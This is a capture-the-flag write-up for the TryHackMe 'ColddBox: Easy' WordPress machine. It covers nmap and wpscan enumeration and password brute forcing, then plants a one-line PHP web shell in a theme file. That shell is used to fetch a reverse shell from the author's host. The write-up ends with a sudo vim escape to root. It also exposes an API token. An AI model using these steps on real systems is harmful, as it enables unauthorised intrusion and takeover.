CTF : ColddBox: Easy

CTF ColddBox: Easy writeup. Source THM. Announced difficulty level: Easy

Posted by Boula-Bytes on 22 June 2022

CTF : ColddBox

Informations

  • IP: 10.10.5.252
  • MYIP: 10.8.98.126

First enumeration

Basics

  • NMAP
console
$ sudo nmap -p80,4512 -A 10.10.5.252 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 22:03 CEST Nmap scan report for 10.10.5.252 Host is up (0.045s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 4.1.31 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: ColddBox | One more machine 4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA) | 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA) |_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.16 (94%), HP P2000 G3 NAS device (93%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), OpenWrt (Linux 2.4.32) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 36.76 ms 10.8.0.1 2 36.82 ms 10.10.5.252 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.78 seconds

Vulnerabilities search

  • wpscan
console
wpscan --api-token yZPO1ahkv62jyVWSEhy4q2J7HF4BsZsyYvxIac3WVmI --force --url http://10.10.5.252 -e u _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://10.10.5.252/ [10.10.5.252] [+] Started: Wed Jun 22 22:06:47 2022 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://10.10.5.252/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://10.10.5.252/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://10.10.5.252/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.1.31 identified (Insecure, released on 2020-06-10). | Found By: Rss Generator (Passive Detection) | - http://10.10.5.252/?feed=rss2, <generator>https://wordpress.org/?v=4.1.31</generator> | - http://10.10.5.252/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.1.31</generator> | | [!] 7 vulnerabilities identified: | | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer | Fixed in: 4.1.33 | References: | - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296 | - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62 | - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/ | - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9 | - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/ | - https://www.youtube.com/watch?v=HaW15aMzBUM | | [!] Title: WordPress < 5.8 - Plugin Confusion | Fixed in: 5.8 | References: | - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223 | - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/ | | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query | Fixed in: 4.1.34 | References: | - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84 | - https://hackerone.com/reports/1378209 | | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs | Fixed in: 4.1.34 | References: | - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w | - https://hackerone.com/reports/425342 | - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability | | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query | Fixed in: 4.1.34 | References: | - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86 | | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites | Fixed in: 4.1.34 | References: | - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h | - https://hackerone.com/reports/541469 | | [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery | Fixed in: 4.1.35 | References: | - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09 | - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/ [+] WordPress theme in use: twentyfifteen | Location: http://10.10.5.252/wp-content/themes/twentyfifteen/ | Last Updated: 2022-05-24T00:00:00.000Z | Readme: http://10.10.5.252/wp-content/themes/twentyfifteen/readme.txt | [!] The version is out of date, the latest version is 3.2 | Style URL: http://10.10.5.252/wp-content/themes/twentyfifteen/style.css?ver=4.1.31 | Style Name: Twenty Fifteen | Style URI: https://wordpress.org/themes/twentyfifteen | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | [!] 1 vulnerability identified: | | [!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS) | Fixed in: 1.2 | References: | - https://wpscan.com/vulnerability/2499b30a-4bcc-462a-935e-1fe4664b95d5 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3429 | - https://blog.sucuri.net/2015/05/jetpack-and-twentyfifteen-vulnerable-to-dom-based-xss-millions-of-wordpress-websites-affected-millions-of-wordpress-websites-affected.html | - https://packetstormsecurity.com/files/131802/ | - https://seclists.org/fulldisclosure/2015/May/41 | | Version: 1.0 (80% confidence) | Found By: Style (Passive Detection) | - http://10.10.5.252/wp-content/themes/twentyfifteen/style.css?ver=4.1.31, Match: 'Version: 1.0' [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:03 <=========================================> (10 / 10) 100.00% Time: 00:00:03 [i] User(s) Identified: [+] the cold in person | Found By: Rss Generator (Passive Detection) [+] c0ldd | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] hugo | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] philip | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 73 [+] Finished: Wed Jun 22 22:06:57 2022 [+] Requests Done: 63 [+] Cached Requests: 6 [+] Data Sent: 15.087 KB [+] Data Received: 272.958 KB [+] Memory used: 136.109 MB [+] Elapsed time: 00:00:09

I first tried to log into wp by cracking users password :

console
$ wpscan --api-token yZPO1ahkv62jyVWSEhy4q2J7HF4BsZsyYvxIac3WVmI --force --url http://10.10.5.252 -U c0ldd -P /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt [...] [!] Valid Combinations Found: | Username: c0ldd, Password: ********* [...]

So let's get in.

Exploit

Now I edit content.php of the current theme to add :

php
<?php system($_GET['cmd'])?>

Then, I prepared a reverse shell file. And I uploaded it through a local web server :

console
$ python3 -m http.server $ curl 'http://10.10.5.252/wp-content/themes/twentyfifteen/content.php?cmd=wget%20http://10.8.98.126:8000/shell.php'

And I simply call It via curl to get a reverse shell :

console
curl 'http://10.10.5.252/wp-content/themes/twentyfifteen/shell.php'

user.txt is read protected so I need to become c0ldd :)

I look at /var/www/html/wp-config.txt

php
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'colddbox'); /** MySQL database username */ define('DB_USER', 'c0ldd'); /** MySQL database password */ define('DB_PASSWORD', '*********');

Let's try this password :

console
$ su - c0ldd Password: ********* c0ldd@ColddBox-Easy:~$

:)

So, user.txt file :

console
cat user.txt *********

ssh listen on port 4512 but I decided to add my public key and connect via ssh.

Privilege escalation

Enumeration for privesc

Now we need to privesc. First let's see if c0ldd can use sudo privileged commands :

console
$ sudo -l [sudo] password for c0ldd: Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy: (root) /usr/bin/vim (root) /bin/chmod (root) /usr/bin/ftp

Ok, he can launch vim with root powers :)

Exploit

Let's exploit vim command :

console
$ sudo /usr/bin/vim

And now in vim I just have to type :

:!/bin/bash

And we are root !

console
# cat /root/root.txt

\o/